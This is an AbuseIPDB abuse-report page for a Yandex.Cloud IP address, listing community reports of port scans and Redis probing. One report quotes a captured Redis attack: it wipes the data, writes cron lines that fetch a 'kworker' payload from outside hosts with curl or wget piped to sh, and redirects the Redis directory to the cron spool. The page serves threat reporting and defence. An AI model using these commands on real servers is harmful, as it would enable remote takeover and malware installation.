AbuseIPDB » 178.154.236.163
178.154.236.163
This IP was reported 10 times. Confidence of
Abuse
is 0% : ?
ISP
Yandex.Cloud LLC
Usage Type
Data Center/Web Hosting/Transit
ASN
AS200350
Domain Name
yandex.net
Country
🇷🇺
Russian Federation
City
Moscow, Moscow
IP info including ISP, Usage Type, and Location provided
by IPInfo . Updated weekly.
IP Abuse Reports for 178.154.236.163 :
This IP address has been reported a total of
10
times from
9 distinct
sources.
178.154.236.163 was first reported on
November 13th 2025 , and the most recent report was
1 month ago
Old Reports:
The most recent abuse report for this IP address is from
1 month ago
Reporter
IoA Timestamp (UTC)
Comment
Categories
🇩🇪
guldkage
2026-04-14 22:37:28
(1 month ago)
Unauthorized connection attempt detected from IP address 178.154.236.163 to port 6379 (ger-02) [REDI ...
show more
Unauthorized connection attempt detected from IP address 178.154.236.163 to port 6379 (ger-02) [REDIS]
show less
Exploited Host
🇺🇸
donarev419
2026-04-09 00:11:58
(2 months ago)
Connection to port 6379 with data transfer.
Data preview: *1
$4
info
Port Scan
Hacking
🇺🇸
drewf.ink
2026-03-24 14:17:49
(2 months ago)
[14:17] Port scanning. Port(s) scanned: TCP/6379
Port Scan
2026-03-24 06:25:24
(2 months ago)
2026-03-24T07:25:23.283972+01:00 vps kernel: [36073754.977346] [PORTSCAN DETECTED] IN=ens3 OUT= MAC= ...
show more
2026-03-24T07:25:23.283972+01:00 vps kernel: [36073754.977346] [PORTSCAN DETECTED] IN=ens3 OUT= MAC=fa:16:3e:66:f6:24:02:37:19:0d:c2:f3:08:00 SRC=178.154.236.163 DST=54.37.14.118 LEN=60 TOS=0x00 PREC=0x20 TTL=45 ID=42758 DF PROTO=TCP SPT=34406 DPT=6379 WINDOW=64240 RES=0x00 SYN URGP=0
...
show less
Port Scan
Brute-Force
🇨🇭
Elysium Security
2026-03-18 14:17:28
(2 months ago)
Mass port scanning on a whole network
Port Scan
🇯🇵
mkaraki
2026-03-15 06:43:36
(2 months ago)
1773557004 # Service_probe # SIGNATURE_SEND # source_ip:178.154.236.163 # dst_port:6379
...
Port Scan
🇬🇷
Xev
2026-03-13 13:54:22
(3 months ago)
Redis command execution
Date: 2026-03-11 19:13:13 UTC
Destination port: 6379
Executed commands:
fl ...
show more
Redis command execution
Date: 2026-03-11 19:13:13 UTC
Destination port: 6379
Executed commands:
flushall
set
backup1
*/2 * * * * cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
set
backup2
*/3 * * * * wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
set
backup3
*/4 * * * * curl -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
set
backup4
*/5 * * * * wd1 -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
config
set
dir
/var/spool/cron/
config
set
dir
/var/spool/cron/crontabs
flushall
set
backup1
*/2 * * * * root cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
set
backup2
*/3 * * * * root wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker | sh
set
backup3
*/4 * * * * root curl -fsSL http://38.150.0.118/dewfhuewr4r89/98hy67//kworker | sh
set
backup4
*/5 * * * * root wd1 -q -O- http://34.70.205.211...
show less
IoT Targeted
2026-03-09 09:04:27
(3 months ago)
Web attack
Bad Web Bot
Web App Attack
🇨🇦
Slackin' Jack
2026-02-23 05:06:06
(3 months ago)
Triggered honeypot on port 6379. (178.154.236.163)
Port Scan
2025-11-13 23:02:43
(6 months ago)
Web attack
Bad Web Bot
Web App Attack
Showing 1 to
10
of 10 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩
Recently Reported IPs: